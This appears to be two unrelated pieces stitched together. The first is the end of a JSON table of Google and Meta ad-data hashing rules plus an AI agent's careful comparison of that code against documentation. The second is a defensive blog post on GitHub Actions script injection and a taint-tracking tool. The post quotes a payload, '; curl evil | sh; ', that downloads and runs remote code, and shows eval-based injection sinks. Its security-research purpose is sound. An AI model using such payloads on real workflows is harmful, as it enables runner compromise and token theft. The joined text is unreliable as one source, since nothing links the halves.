      "kbEntry": "normalization_and_hashing/google",
      "param": "given_name",
      "platform": "google",
      "sourceUrl": "https://developers.google.com/data-manager/api/devguides/concepts/formatting"
    },
    {
      "_id": "normalizationRule-google-last_name",
      "divergences": [
        "Titles and suffixes ('Mrs.', 'Jr.') are not removed, because removing them needs a list of words, and a wrong entry in that list changes a real name. preflight_file warns when it sees a common one; the source system has to split it out."
      ],
      "docExamples": [

      ],
      "docQuote": "Convert to lowercase. Don't include suffixes such as Jr. Whitespace: Trim leading and trailing whitespace. Hashing: Hash using the SHA-256 algorithm.",
      "field": "last_name",
      "hashed": true,
      "implementation": "Refuses invisible characters and non-ASCII whitespace (for example U+00A0, U+200B) with the code point named, instead of hashing them. Trims ASCII whitespace at both ends and lowercases. Keeps punctuation, so a hyphenated name keeps its hyphen. Does not remove suffixes such as 'Jr.': the caller must.",
      "implemented": true,
      "kbEntry": "normalization_and_hashing/google",
      "param": "family_name",
      "platform": "google",
      "sourceUrl": "https://developers.google.com/data-manager/api/devguides/concepts/formatting"
    },
    {
      "_id": "normalizationRule-google-phone",
      "divergences": [
        "Letters are refused (needs_review) instead of stripped. This page says only that every character after the plus sign must be digits; the Google Ads page's samples strip all non-digits, which can fuse an extension into the number.",
        "Fewer than 8 digits after the '+' is refused. E.164 has a few 7-digit numbers (small territories) that the Google Ads sample pattern +[1-9]\\d{6,14} accepts; this code does not."
      ],
      "docExamples": [
        {
          "_id": null,
          "diverges": false,
          "input": "(800)555-0100",
          "normalized": "+18005550100",
          "sha256": null
        }
      ],
      "docQuote": "Use E.164 format. Include the plus sign (+) and the country code. All characters after the plus sign must be digits. For example, the US phone number (800)555-0100 should be formatted and normalized to +18005550100. Whitespace: Trim leading and trailing whitespace. Hashing: Hash using the SHA-256 algorithm.",
      "field": "phone",
      "hashed": true,
      "implementation": "Drops spaces, parentheses, dashes, dots and slashes. A leading '+' or the international prefix '00' followed by 8 to 15 digits is taken as E.164; a country code starting with 0 is refused. A number without a country code resolves only through the region (the record's own two-letter country when it has one, else default_region), and only for US, CA, GB, AU, BR and DE; for GB, AU and DE the national trunk '0' is dropped. A trunk zero written inside an international number ('+44 (0)20...', '+49 030...') is refused, checked only after +44, +49, +55 and +61 and for any '(0)'; other countries are not checked, because some, Italy among them, keep the 0. Anything else, and any letter, is returned as needs_review with the reason, never guessed. Output is E.164 with the leading '+'.",
      "implemented": true,
      "kbEntry": "normalization_and_hashing/google",
      "param": "phone_number",
      "platform": "google",
      "sourceUrl": "https://developers.google.com/data-manager/api/devguides/concepts/formatting"
    },
    {
      "_id": "normalizationRule-google-postal_code",
      "divergences": [

      ],
      "docExamples": [

      ],
      "docQuote": "Both US and international zip and postal codes are allowed. For US addresses, use either 5 digits or 5 digits followed by a 4-digit extension. Using a 4-digit extension may improve your match rate. For all other countries, don't use postal code extensions. Whitespace: Trim leading and trailing whitespace. Hashing: Don't hash postal_code.",
      "field": "postal_code",
      "hashed": false,
      "implementation": "Refuses invisible characters and non-ASCII whitespace (for example U+00A0, U+200B) with the code point named, instead of hashing them. Trims ASCII whitespace at both ends. Nothing else: no truncation, so a US ZIP+4 is kept, and never hashed.",
      "implemented": true,
      "kbEntry": "normalization_and_hashing/google",
      "param": "postal_code",
      "platform": "google",
      "sourceUrl": "https://developers.google.com/data-manager/api/devguides/concepts/formatting"
    },
    {
      "_id": "normalizationRule-google-state",
      "divergences": [

      ],
      "docExamples": [

      ],
      "docQuote": "Used only for Google Analytics. The administrative area (state or province) of the user's address. Use either the two-letter abbreviation (for example, ca) or the full name (for example, california). Convert to lowercase. Remove symbol characters. Whitespace: Trim leading and trailing whitespace. Hashing: Don't hash administrative_area.",
      "field": "state",
      "hashed": false,
      "implementation": "Not implemented. The tool returns not_implemented for this pair.",
      "implemented": false,
      "kbEntry": "normalization_and_hashing/google",
      "param": "administrative_area",
      "platform": "google",
      "sourceUrl": "https://developers.google.com/data-manager/api/devguides/concepts/formatting"
    },
    {
      "_id": "normalizationRule-meta-city",
      "divergences": [

      ],
      "docExamples": [

      ],
      "docQuote": "Hashing required. Using Roman alphabet a-z characters is recommended. Lowercase only with no punctuation, no special characters, and no spaces. If using special characters, the text must be encoded in UTF-8 format.",
      "field": "city",
      "hashed": true,
      "implementation": "Refuses invisible characters and non-ASCII whitespace (for example U+00A0, U+200B) with the code point named, instead of hashing them. Removes punctuation, symbols and spaces, lowercases: 'New York' becomes 'newyork'.",
      "implemented": true,
      "kbEntry": "normalization_and_hashing/meta",
      "param": "ct",
      "platform": "meta",
      "sourceUrl": "https://developers.facebook.com/docs/marketing-api/conversions-api/parameters/customer-information-parameters"
    },
    {
      "_id": "normalizationRule-meta-country",
      "divergences": [
        "United States: the documented example translates a country name into its code. The code refuses names, because a translation that is wrong for one entry hashes a country the customer never lived in. Send the two-letter code."
      ],
      "docExamples": [
        {
          "_id": null,
          "diverges": true,
          "input": "United States",
          "normalized": "us",
          "sha256": "79adb2a2fce5c6ba215fe5f27f532d4e7edbac4b6a5e09e1ef3a08084a904621"
        }
      ],
      "docQuote": "Hashing required. Use the lowercase, 2-letter country codes in ISO 3166-1 alpha-2. Important Note: Always include your customers’ countries’ even if all of your country codes are from the same country. We match on a global scale, and this simple step helps us match as many Accounts Center accounts as possible from your list.",
      "field": "country",
      "hashed": true,
      "implementation": "Refuses invisible characters and non-ASCII whitespace (for example U+00A0, U+200B) with the code point named, instead of hashing them. Accepts exactly two ASCII letters after trimming and lowercases them. Refuses full names rather than translating them.",
      "implemented": true,
      "kbEntry": "normalization_and_hashing/meta",
      "param": "country",
      "platform": "meta",
      "sourceUrl": "https://developers.facebook.com/docs/marketing-api/conversions-api/parameters/customer-information-parameters"
    },
    {
      "_id": "normalizationRule-meta-email",
      "divergences": [
        "Whitespace inside the address is removed; the documentation asks only for leading and trailing spaces to be trimmed. A valid address has no internal whitespace, so this only changes inputs that were already broken."
      ],
      "docExamples": [
        {
          "_id": null,
          "diverges": false,
          "input": "John_Smith@gmail.com",
          "normalized": "john_smith@gmail.com",
          "sha256": "62a14e44f765419d10fea99367361a727c12365e2520f32218d505ed9aa0f62f"
        }
      ],
      "docQuote": "Hashing required. Trim any leading and trailing spaces. Convert all characters to lowercase.",
      "field": "email",
      "hashed": true,
      "implementation": "Refuses invisible characters and non-ASCII whitespace (for example U+00A0, U+200B) with the code point named, instead of hashing them. Requires exactly one '@' and a dotted domain. Removes ASCII whitespace anywhere in the address and lowercases with str.lower. No Gmail-specific rule.",
      "implemented": true,
      "kbEntry": "normalization_and_hashing/meta",
      "param": "em",
      "platform": "meta",
      "sourceUrl": "https://developers.facebook.com/docs/marketing-api/conversions-api/parameters/customer-information-parameters"
    },
    {
      "_id": "normalizationRule-meta-first_name",
      "divergences": [
        "Spaces inside a name are removed, so 'Mary Ann' becomes 'maryann'. The fn and ln rule names only punctuation; the ct rule is the one that says no spaces. The code applies the stricter reading to names too, and the page has no multi-word example that settles it.",
        "Symbols (Unicode category S, for example the trademark sign) are removed along with punctuation. Letters with accents and non-Latin letters are kept, as the page's examples show."
      ],
      "docExamples": [
        {
          "_id": null,
          "diverges": false,
          "input": "Mary",
          "normalized": "mary",
          "sha256": "6915771be1c5aa0c886870b6951b03d7eafc121fea0e80a5ea83beb7c449f4ec"
        },
        {
          "_id": null,
          "diverges": false,
          "input": "정",
          "normalized": "정",
          "sha256": "8fa8cd9c440be61d0151429310034083132b35975c4bea67fdd74158eb51db14"
        },
        {
          "_id": null,
          "diverges": false,
          "input": "Valéry",
          "normalized": "valéry",
          "sha256": "08e1996b5dd49e62a4b4c010d44e4345592a863bb9f8e3976219bac29417149c"
        }
      ],
      "docQuote": "Hashing required. Using Roman alphabet a-z characters is recommended. Lowercase only with no punctuation. If using special characters, the text must be encoded in UTF-8 format.",
      "field": "first_name",
      "hashed": true,
      "implementation": "Refuses invisible characters and non-ASCII whitespace (for example U+00A0, U+200B) with the code point named, instead of hashing them. Trims, removes Unicode punctuation, symbols and spaces (categories P, S, Z), lowercases. Accented and non-Latin letters are kept.",
      "implemented": true,
      "kbEntry": "normalization_and_hashing/meta",
      "param": "fn",
      "platform": "meta",
      "sourceUrl": "https://developers.facebook.com/docs/marketing-api/conversions-api/parameters/customer-information-parameters"
    },
    {
      "_id": "normalizationRule-meta-last_name",
      "divergences": [
        "Spaces inside a name are removed, so 'Mary Ann' becomes 'maryann'. The fn and ln rule names only punctuation; the ct rule is the one that says no spaces. The code applies the stricter reading to names too, and the page has no multi-word example that settles it.",
        "Symbols (Unicode category S, for example the trademark sign) are removed along with punctuation. Letters with accents and non-Latin letters are kept, as the page's examples show."
      ],
      "docExamples": [

      ],
      "docQuote": "Hashing required. Using Roman alphabet a-z characters is recommended. Lowercase only with no punctuation. If using special characters, the text must be encoded in UTF-8 format. See First Name (fn) for examples.",
      "field": "last_name",
      "hashed": true,
      "implementation": "Refuses invisible characters and non-ASCII whitespace (for example U+00A0, U+200B) with the code point named, instead of hashing them. Same as first_name: trims, removes punctuation, symbols and spaces, lowercases, keeps accented and non-Latin letters.",
      "implemented": true,
      "kbEntry": "normalization_and_hashing/meta",
      "param": "ln",
      "platform": "meta",
      "sourceUrl": "https://developers.facebook.com/docs/marketing-api/conversions-api/parameters/customer-information-parameters"
    },
    {
      "_id": "normalizationRule-meta-phone",
      "divergences": [
        "Letters are refused (needs_review) instead of removed, because a letter in a phone field is usually an extension or a typo, and dropping it silently can leave a different, valid-looking number.",
        "Fewer than 8 digits in the full international number is refused, which excludes the few 7-digit E.164 numbers.",
        "'Remove any leading zeros' is applied only to the international prefix 00 and to a national trunk 0 (GB, AU, DE). A number that still starts with 0 after that is refused, because stripping zeros from a format the code cannot identify can produce another subscriber's number."
      ],
      "docExamples": [
        {
          "_id": null,
          "diverges": false,
          "input": "(650)555-1212",
          "normalized": "16505551212",
          "sha256": "e323ec626319ca94ee8bff2e4c87cf613be6ea19919ed1364124e16807ab3176"
        }
      ],
      "docQuote": "Hashing required. Remove symbols, letters, and any leading zeros. Phone numbers must include a country code to be used for matching (e.g., the number 1 must precede a phone number in the United States). Always include the country code as part of your customers’ phone numbers, even if all of your data is from the same country.",
      "field": "phone",
      "hashed": true,
      "implementation": "Drops spaces, parentheses, dashes, dots and slashes. A leading '+' or the international prefix '00' followed by 8 to 15 digits is taken as E.164; a country code starting with 0 is refused. A number without a country code resolves only through the region (the record's own two-letter country when it has one, else default_region), and only for US, CA, GB, AU, BR and DE; for GB, AU and DE the national trunk '0' is dropped. A trunk zero written inside an international number ('+44 (0)20...', '+49 030...') is refused, checked only after +44, +49, +55 and +61 and for any '(0)'; other countries are not checked, because some, Italy among them, keep the 0. Anything else, and any letter, is returned as needs_review with the reason, never guessed. Output is digits only: country code, no '+'.",
      "implemented": true,
      "kbEntry": "normalization_and_hashing/meta",
      "param": "ph",
      "platform": "meta",
      "sourceUrl": "https://developers.facebook.com/docs/marketing-api/conversions-api/parameters/customer-information-parameters"
    },
    {
      "_id": "normalizationRule-meta-postal_code",
      "divergences": [
        "With no known region, a value shaped like a US ZIP+4 is returned as needs_review instead of being hashed whole or cut to five digits: the page states the five-digit rule for U.S. codes only, and the code does not guess the country.",
        "UK: the prose asks for the area, district and sector format, which for M1 1AE would stop at 'm11'; the page's own UK example is 'm11ae', the whole postcode. The page contradicts itself, and the code follows the example."
      ],
      "docExamples": [

      ],
      "docQuote": "Hashing required. Use lowercase with no spaces and no dash. Use only the first 5 digits for U.S. zip codes. Use the area, district, and sector format for the UK. Example: U.S zip code: 94035 Australia zip code: 1987 France zip code: 75018 UK zip code: m11ae",
      "field": "postal_code",
      "hashed": true,
      "implementation": "Refuses invisible characters and non-ASCII whitespace (for example U+00A0, U+200B) with the code point named, instead of hashing them. Removes spaces and dashes and lowercases. Keeps only the first five characters when the region is US (the record's own country when it has one, else default_region), and never otherwise. With no region at all, a value shaped like a US ZIP+4 is returned as needs_review instead of being hashed whole. A UK postcode keeps all its characters: 'M1 1AE' becomes 'm11ae'.",
      "implemented": true,
      "kbEntry": "normalization_and_hashing/meta",
      "param": "zp",
      "platform": "meta",
      "sourceUrl": "https://developers.facebook.com/docs/marketing-api/conversions-api/parameters/customer-information-parameters"
    },
    {
      "_id": "normalizationRule-meta-state",
      "divergences": [
        "A full US state name is normalised but not abbreviated, so it will not match Meta's hash of the two-letter code. Send the code."
      ],
      "docExamples": [

      ],
      "docQuote": "Hashing required. Use the 2-character ANSI abbreviation code in lowercase. Normalize states outside the U.S. in lowercase with no punctuation, no special characters, and no spaces.",
      "field": "state",
      "hashed": true,
      "implementation": "Refuses invisible characters and non-ASCII whitespace (for example U+00A0, U+200B) with the code point named, instead of hashing them. Removes punctuation, symbols and spaces, lowercases. Does not translate a full US state name into its two-letter code: 'California' becomes 'california', not 'ca'.",
      "implemented": true,
      "kbEntry": "normalization_and_hashing/meta",
      "param": "st",
      "platform": "meta",
      "sourceUrl": "https://developers.facebook.com/docs/marketing-api/conversions-api/parameters/customer-information-parameters"
    }
  ]
}

Agent

▸ mcp__sanity-dataset__groq_query {"query":"*[_type == \"implementationProfile\"][0]{globalDivergences}"}

Input

{
  "query": "*[_type == \"implementationProfile\"][0]{globalDivergences}"
}

Output

{
  "meta": {
    "executedQuery": "*[_type != \"sanity.agentContext\" && (_type in [\"normalizationRule\", \"implementationProfile\"]) && _type == \"implementationProfile\"][0]{\"globalDivergences\": globalDivergences, \"_id\": global::coalesce(_originalId, _id)}",
    "perspective": "published",
    "resultCount": 1,
    "returnedCount": 1
  },
  "result": {
    "_id": "implementationProfile-preflight",
    "globalDivergences": [
      "Invisible characters and non-ASCII whitespace (U+00A0, U+200B, U+3000 and the like) are refused with the code point named, in every field. Both platforms document trimming whitespace and say nothing about these; hashing one yields a value that silently never matches.",
      "A phone number written without its country code is completed from the record's own two-letter country, else default_region, for six numbering plans (US, CA, GB, AU, BR, DE). Both platforms require the country code and neither says where it comes from; any other region is refused, not guessed."
    ]
  }
}

Agent

▸ mcp__sanity-context__knowledge_base_read {"knowledgeBase":"kb6kEFy3JtbM","paths":["normalization_and_hashing/google","...

Input

{
  "knowledgeBase": "kb6kEFy3JtbM",
  "paths": [
    "normalization_and_hashing/google",
    "normalization_and_hashing/meta"
  ]
}

Output

# Google Normalization and Hashing Rules

Field-level normalization, formatting, and SHA-256 hashing requirements for email, phone, name, and address when uploading to Google endpoints (Data Manager API and Google Ads API), including worked examples

All user-provided fields must be normalized then SHA-256 hashed before upload to either the Google Ads API (`ConversionUploadService`) or the Data Manager API. Encode hash bytes as hex or Base64. For hex, case doesn't matter; for Base64, case matters. [1][2]

## Fields that must be hashed

- Email address
- Phone number
- First name (`given_name`)
- Last name (`family_name`)
- Street address (`address_line`)

**Do NOT hash:** country/`region_code`, state/`administrative_area`, city, zip/`postal_code`. [1][2]

## Email address (`email_address` / `hashed_email`)

Apply in order: [1][2]

1. **Trim whitespace:** Remove leading, trailing, and intermediate whitespace (whitespace inside the address is also removed, not only at the ends).
2. **Lowercase:** Convert the entire address to lowercase.
3. **Gmail/Googlemail-specific (applies ONLY to `@gmail.com` and `@googlemail.com` domains):**
   - Remove all dots (`.`) from the local-part (before the `@`).
   - Remove the plus sign (`+`) and all characters that follow it from the local-part.
   - Example: `cloudy.sanfrancisco+shopping@gmail.com` → `cloudysanfrancisco@gmail.com` [1]
   - Example: `Jane.Doe+Shopping@googlemail.com` → `janedoe@googlemail.com` [2]
4. **Other domains:** Do NOT remove dots or plus signs from the local-part. Apply only lowercase and whitespace trimming.
   - Example: `user.name+NYC@Example.com` → `user.name+nyc@example.com` [1][2]
5. **Hash** the result with SHA-256.

> The plus-sign removal rule applies to the local-part only, never to the domain. For non-Gmail domains, the plus sign stays in the local-part.

## Phone number (`phone_number` / `hashed_phone_number`)

1. **Format to E.164:** Include the `+` sign and country code. All characters after `+` must be digits. [1]
   - Example: `(800)555-0100` → `+18005550100`
2. **Trim** leading and trailing whitespace. [1]
3. **Hash** with SHA-256. [1]

## Name fields (`given_name` / `family_name`)

| Step | Rule |
|------|------|
| Format | Lowercase. Omit prefixes (`Mrs.`) from `given_name`; omit suffixes (`Jr.`) from `family_name`. |
| Whitespace | Trim leading and trailing whitespace. |
| Hash | SHA-256; encode as hex or Base64. |

[1]

## Address fields (`AddressInfo` / `OfflineUserAddressInfo`)

| Field | Normalize | Hash? |
|-------|-----------|-------|
| `address_line` (street + number) | Lowercase; remove symbol characters; trim leading/trailing whitespace. | **Yes** – SHA-256 |
| `city` | Lowercase; remove symbol characters; trim whitespace. | No |
| `administrative_area` (state/province) | Lowercase; use two-letter abbreviation (e.g. `ca`) or full name (e.g. `california`); remove symbol characters; trim whitespace. | No |
| `postal_code` | US: 5 digits or 5+4 digits (4-digit extension may improve match rate); non-US: no extensions; trim whitespace. | No |
| `region_code` | Two-character ISO 3166-1 alpha-2 code; trim whitespace. | No |

[1]

> `address_line` and `city` are used only for Google Analytics connections via the Data Manager API. [1]

## General hashing rule

For every hashed field: convert to lowercase → strip whitespace → hash (SHA-256) → encode hex or Base64. The Java reference implementation removes all intermediate whitespace (using `replaceAll("\\s+", "")`) before hashing—not just leading/trailing. [2]

## What is never hashed

- `region_code` (ISO 3166-1 alpha-2 country code)
- `postal_code`
- `city`
- `administrative_area`
- IP addresses (`ip_address` in `IpData`)
- Mobile IDs (`mobile_ids` in `MobileData`)

[1]

## Sources

1. Manage offline conversions  |  Google Ads API  |  Google for Developers § overview — Web
2. Manage offline conversions  |  Google Ads API  |  Google for Developers § fields if either are provided. › Code example — Web
3. Format user data  |  Data Manager API  |  Google for Developers — Web · https://developers.google.com/data-manager/api/devguides/concepts/formatting


---

# Meta Normalization and Hashing Rules

Field-level formatting, normalization, and hashing requirements for email, phone, name, external ID, and other customer-information parameters sent to the Meta Conversions API, including worked examples

All contact-information parameters sent to the Meta Conversions API must be normalized before hashing. Meta's systems reject unhashed contact information unless a parameter is explicitly marked "do not hash." At least one `user_data` parameter must be present in every request. If you use the Meta Business SDK, hashing is performed automatically. [1]

## Hashing requirement by parameter

| Parameter | Field name | Type | Hashing |
|---|---|---|---|
| Email | `em` | string or list\<string\> | **Required** |
| Phone Number | `ph` | string or list\<string\> | **Required** |
| First Name | `fn` | string or list\<string\> | **Required** |
| Last Name | `ln` | string or list\<string\> | **Required** |
| Date of Birth | `db` | string or list\<string\> | **Required** |
| Gender | `ge` | string or list\<string\> | **Required** |
| City | `ct` | string or list\<string\> | **Required** |
| State | `st` | string or list\<string\> | **Required** |
| Zip Code | `zp` | string or list\<string\> | **Required** |
| Country | `country` | string or list\<string\> | **Required** |
| External ID | `external_id` | string or list\<string\> | **Recommended** |
| Client IP Address | `client_ip_address` | string | **Do not hash** |
| Client User Agent | `client_user_agent` | string | **Do not hash** |
| Click ID (`fbc`) | `fbc` | string | **Do not hash** |
| Browser ID (`fbp`) | `fbp` | string | **Do not hash** |
| Subscription ID | `subscription_id` | string | **Do not hash** |
| Facebook Login ID | `fb_login_id` | integer | **Do not hash** |
| Lead ID | `lead_id` | integer | **Do not hash** |

All hashed values use SHA-256. [1]

## Normalization rules per field

### `em` — Email
Trim leading and trailing spaces. Convert all characters to lowercase. [1]

- Input: `John_Smith@gmail.com` → Normalized: `john_smith@gmail.com` → SHA-256: `62a14e44f765419d10fea99367361a727c12365e2520f32218d505ed9aa0f62f`

### `ph` — Phone Number
Remove symbols, letters, and any leading zeros. Always include the country code, even when all data is from the same country. [1]

- Input: `(650)555-1212` (US) → Normalized: `16505551212` → SHA-256: `e323ec626319ca94ee8bff2e4c87cf613be6ea19919ed1364124e16807ab3176`

### `fn` / `ln` — First Name / Last Name
Roman alphabet a–z characters recommended. Lowercase only, no punctuation. Special characters must be UTF-8 encoded (do not transliterate). [1]

- `Mary` → `mary` → SHA-256: `6915771be1c5aa0c886870b6951b03d7eafc121fea0e80a5ea83beb7c449f4ec`
- `정` → UTF-8 character `정` → SHA-256: `8fa8cd9c440be61d0151429310034083132b35975c4bea67fdd74158eb51db14`
- `Valéry` → `valéry` → SHA-256: `08e1996b5dd49e62a4b4c010d44e4345592a863bb9f8e3976219bac29417149c`

Last name (`ln`) follows identical rules; see `fn` examples above.

### `db` — Date of Birth
Use YYYYMMDD format (with or without punctuation). Year: 1900–current; Month: 01–12; Day: 01–31. [1]

- Input: `2/16/1997` → Normalized: `19970216` → SHA-256: `01acdbf6ec7b4f478a225f1a246e5d6767eeab1a7ffa17f025265b5b94f40f0c`

### `ge` — Gender
Lowercase initial only: `f` for female, `m` for male. [1]

### `ct` — City
Lowercase, no punctuation, no special characters, no spaces. Special characters must be UTF-8 encoded. [1]

- Examples: `paris`, `london`, `newyork`

### `st` — State
2-character ANSI abbreviation code, lowercase for U.S. states. States outside the U.S.: lowercase, no punctuation, no special characters, no spaces. [1]

- Examples: `az`, `ca`

### `zp` — Zip Code
Lowercase, no spaces, no dash. U.S.: first 5 digits only. UK: area, district, and sector format. [1]

- U.S. zip code: `94035`
- Australia zip code: `1987`
- France zip code: `75018`
- UK zip code: `m11ae`

### `country` — Country
Lowercase 2-letter ISO 3166-1 alpha-2 code. Always include country even if all data is from one country — Meta matches on a global scale. [1]

- Input: `United States` → Normalized: `us` → SHA-256: `79adb2a2fce5c6ba215fe5f27f532d4e7edbac4b6a5e09e1ef3a08084a904621`

### `external_id` — External ID
Any unique advertiser ID (loyalty membership ID, user ID, external cookie ID). Hashing is recommended but not required. You can send one or more external IDs per event. If the same external ID is sent via other channels, it must be in the same format as in the Conversions API. [1]

## Do-not-hash parameters

### `client_ip_address`
Must be a valid IPv4 or IPv6 address. IPv6 is preferable for IPv6-enabled users. Never hash. No spaces. Always provide the real IP address. Must be configured manually for server-sent events (browsers add it automatically). [1]

- IPv4 example: `168.212.226.204`
- IPv6 example: `2001:0db8:85a3:0000:0000:8a2e:0370:7334`

### `client_user_agent`
Required for all website events sent via the Conversions API. Sending both `client_ip_address` and `client_user_agent` can improve event matching and ad delivery. Must be configured manually for server-sent events. [1]

### `fbc` — Click ID
Stored in the `_fbc` browser cookie. Format: `fb.${subdomain_index}.${creation_time}.${fbclid}`. Do not hash. [1]

- Example: `fb.1.1554763741205.AbCdEfGhIjKlMnOpQrStUvWxYz1234567890`

### `fbp` — Browser ID
Stored in the `_fbp` browser cookie. Format: `fb.${subdomain_index}.${creation_time}.${random_number}`. Do not hash. [1]

- Example: `fb.1.1596403881668.1116446470`

### `lead_id`
Integer ID associated with a lead generated by Meta Lead Ads. Do not hash. [1]

## Sources

1. meta-capi-customer-information-parameters.md — File

Agent

Code and documentation disagree, undeclared

None found. I compared all 14 implemented rules against both knowledge base entries and their docQuote text.

Entry and quote disagree

Each of these needs someone to read the source page. From here I can't tell whether the page changed or the entry lost or added a detail.

Meta ct (city): [normalization_and_hashing/meta] says "Lowercase, no punctuation, no special characters, no spaces. Special characters must be UTF-8 encoded." docQuote starts with "Hashing required. Using Roman alphabet a-z characters is recommended." The entry drops the Roman-alphabet recommendation for city. Source: https://developers.facebook.com/docs/marketing-api/conversions-api/parameters/customer-information-parameters [rule: meta/city]
Meta fn/ln (names): [normalization_and_hashing/meta] adds "(do not transliterate)". docQuote says only "If using special characters, the text must be encoded in UTF-8 format." Same source page. [rule: meta/first_name] [rule: meta/last_name]
Google administrative_area (state): [normalization_and_hashing/google] says "address_line and city are used only for Google Analytics connections". docQuote says the state field is also "Used only for Google Analytics". The entry doesn't list state. Source: https://developers.google.com/data-manager/api/devguides/concepts/formatting [rule: google/state]
Google source attribution: the entry cites the Google Ads API pages as sources [1][2] for the rules. The Data Manager formatting page, which docQuote uses, is listed only as source 3, and no rule is tied to it. Check which page each rule comes from.

Declared divergences

Global: invisible characters and non-ASCII whitespace (U+00A0, U+200B, U+3000 and the like) are refused in every field.
Global: a phone number without a country code is completed from the record's country or default_region, for US, CA, GB, AU, BR and DE only.
Google phone: letters go to needs_review instead of being stripped. Fewer than 8 digits after + is refused. [rule: google/phone]
Google first_name/last_name: prefixes and suffixes ("Mrs.", "Jr.") are not removed, so the source system has to split them out. [rule: google/first_name] [rule: google/last_name]
Meta email: whitespace inside the address is removed, not only trimmed. [rule: meta/email]
Meta phone: letters are refused instead of removed. Fewer than 8 digits is refused. "Leading zeros" is applied only to the 00 prefix and to a trunk 0 for GB, AU and DE. [rule: meta/phone]
Meta fn/ln: inner spaces and symbols (category S) are removed. [rule: meta/first_name] [rule: meta/last_name]
Meta st: a full US state name is not abbreviated. [rule: meta/state]
Meta zp: with no region, a value shaped like a ZIP+4 is needs_review. For the UK the code follows the m11ae example, not the prose. [rule: meta/postal_code]
Meta country: names are refused, so the "United States" → us example is deliberately not reproduced. [rule: meta/country]

Agrees

Google email, country (region_code) and postal_code. Meta city, apart from the entry-vs-quote note above.

Not implemented

Google city: [normalization_and_hashing/google] says lowercase, remove symbol characters, trim whitespace, do not hash. The tool returns not_implemented. [rule: google/city]
Google state (administrative_area): [normalization_and_hashing/google] says lowercase, use the two-letter abbreviation or the full name, remove symbol characters, trim whitespace, do not hash. The tool returns not_implemented. [rule: google/state]

Not in the rule table

The dataset has no rule for these fields, and the tool's field list doesn't include them either. The knowledge base documents them:
- Google address_line: lowercase, remove symbol characters, trim whitespace, hash with SHA-256. [normalization_and_hashing/google]
- Meta db: YYYYMMDD format. [normalization_and_hashing/meta]
- Meta ge: f or m. [normalization_and_hashing/meta]
- Meta external_id: hashing is recommended, not required. [normalization_and_hashing/meta]

An injection that moved is not an injection that was fixed

Vinicius Pereira — Tue, 22 Sep 2026 23:52:15 +0000

Every guide to GitHub Actions script injection ends with the same fix. You have this:

- run: helper-cli --prompt "${{ github.event.comment.body }}"

and the runner expands the expression into the script before bash ever sees it, so a comment containing "; curl evil | sh; " runs on your runner with your token. The fix is to move the value into an environment variable:

- env:
    BODY: ${{ github.event.comment.body }}
  run: helper-cli --prompt "$BODY"

Now bash expands $BODY at runtime, as a value, and the quotes hold. Every scanner that looks for ${{ }} inside run: blocks stops reporting the line. The pull request gets merged with "fixed template injection" in the title.

I spent a day this month verifying one of those fixes by hand, for a finding I had reported and cannot name yet because it is still in coordinated disclosure. The maintainer's fix moved the value into env:, then passed it through with: into a composite action. The scanner was satisfied. I was not, because nothing about the move says what happens to the value next. So I followed it: env: in the workflow, with: into the action, env: again inside the action, a shell script that only delegates, a Node wrapper, and finally a spawn() call with shell: false and the value as one element of an argv array. Seven hops. At the end of hop seven the value is a value and the injection is dead.

It could just as easily have been alive. If the shell script had done eval "$HELPER_PROMPT", or the Node wrapper had done execSync(\helper-cli --prompt ${prompt}), the same fix would have shipped with the same commit title, and the same scanner would have stayed quiet.

That is the gap I wrote taint-trail to close.

What the existing scanner does, and where it stops

If you run one tool on your workflows, run zizmor. It audits for template injection, dangerous triggers, unpinned actions, cache poisoning, permissions and a long list of other things, and it is fast and well maintained. This is not a replacement for it.

zizmor's injection check works on the shape of the text: an untrusted expression inside a script is a finding. That check is exactly right for the "before" of every fix, and it is why the fix everyone applies is "get the expression out of the script". Once the expression is in env:, the shape is gone and the check has nothing to say. It does not follow the variable, because that was never its job.

taint-trail starts where that check ends. It keeps the classic run: check, so the "before" is still caught, and spends the rest of its effort on the "after".

What the after looks like

Same fixture as the real case, with invented names. Before the fix:

$ taint-trail tests/fixtures/workflows/direct_run_injection.yml
github.event.comment.body  [untrusted]  tests/fixtures/workflows/direct_run_injection.yml / job helper
  tests/fixtures/workflows/direct_run_injection.yml:11  run  (${{ github.event.comment.body }} interpolated into the script)
  SHELL: expression expanded into the shell script before it runs (the classic injection)

The fix that moved the value into env: and then did the one thing you must not do with it:

$ taint-trail tests/fixtures/workflows/moved_not_fixed.yml
github.event.comment.body  [untrusted]  tests/fixtures/workflows/moved_not_fixed.yml / job helper
  tests/fixtures/workflows/moved_not_fixed.yml:12  env BODY
  tests/fixtures/workflows/moved_not_fixed.yml:15  run  (eval "$BODY")
  SHELL: eval re-parses the value as shell

And the fix that actually worked, followed into the action it calls:

$ taint-trail --actions-dir tests/fixtures/actions tests/fixtures/workflows/moved_and_died.yml
github.event.comment.body  [untrusted]  tests/fixtures/workflows/moved_and_died.yml / job helper
  tests/fixtures/workflows/moved_and_died.yml:13  env BODY
  tests/fixtures/workflows/moved_and_died.yml:16  with prompt  (env.BODY -> example/helper-action@v1)
  tests/fixtures/actions/example/helper-action/v1/action.yml:4  inputs.prompt
  tests/fixtures/actions/example/helper-action/v1/action.yml:19  env HELPER_PROMPT  (inputs.prompt)
  tests/fixtures/actions/example/helper-action/v1/action.yml:21  run  (bash "$GITHUB_ACTION_PATH/scripts/run-helper.sh")
  tests/fixtures/actions/example/helper-action/v1/scripts/run-helper.sh:4  script run-helper.sh  (exec node "$DIR/../dist/index.js")
  tests/fixtures/actions/example/helper-action/v1/dist/index.js:4  process.env.HELPER_PROMPT
  DIES (heuristic): argv array via spawn( at tests/fixtures/actions/example/helper-action/v1/dist/index.js:7; no shell: true, no exec(, no execSync(

Every hop is a file and a line where the value changed hands. That format is not decoration. When I sent the maintainer my verification, what I sent was not "I think it is safe now". It was the list of hops with the line numbers, so they could read each one themselves. A verdict without the chain is an opinion. A verdict with the chain is a reading assignment.

Five endings, and one of them is "I do not know"

A chain ends in one of five ways:

SHELL: the value is re-parsed as code. The expression expanded into the script, or the variable reached eval, bash -c, source, xargs, a pipe into sh, an interpreter's -c/-e string, an interpreter's standard input, or the command position of a line. Exit 1.
SPOOF: the value is written to $GITHUB_OUTPUT or $GITHUB_ENV in a way that lets it add keys. More on this below. Exit 1.
SUSPECT (heuristic): a JavaScript action looks like it builds a command string with the value. Pattern match, not parsing, and the output says so.
DIES: the value ended as a value. Quoted into an argument, echoed, one element of an argv array, written to the output file under a random delimiter.
UNKNOWN: <reason>: the tool could not follow and refuses to guess.

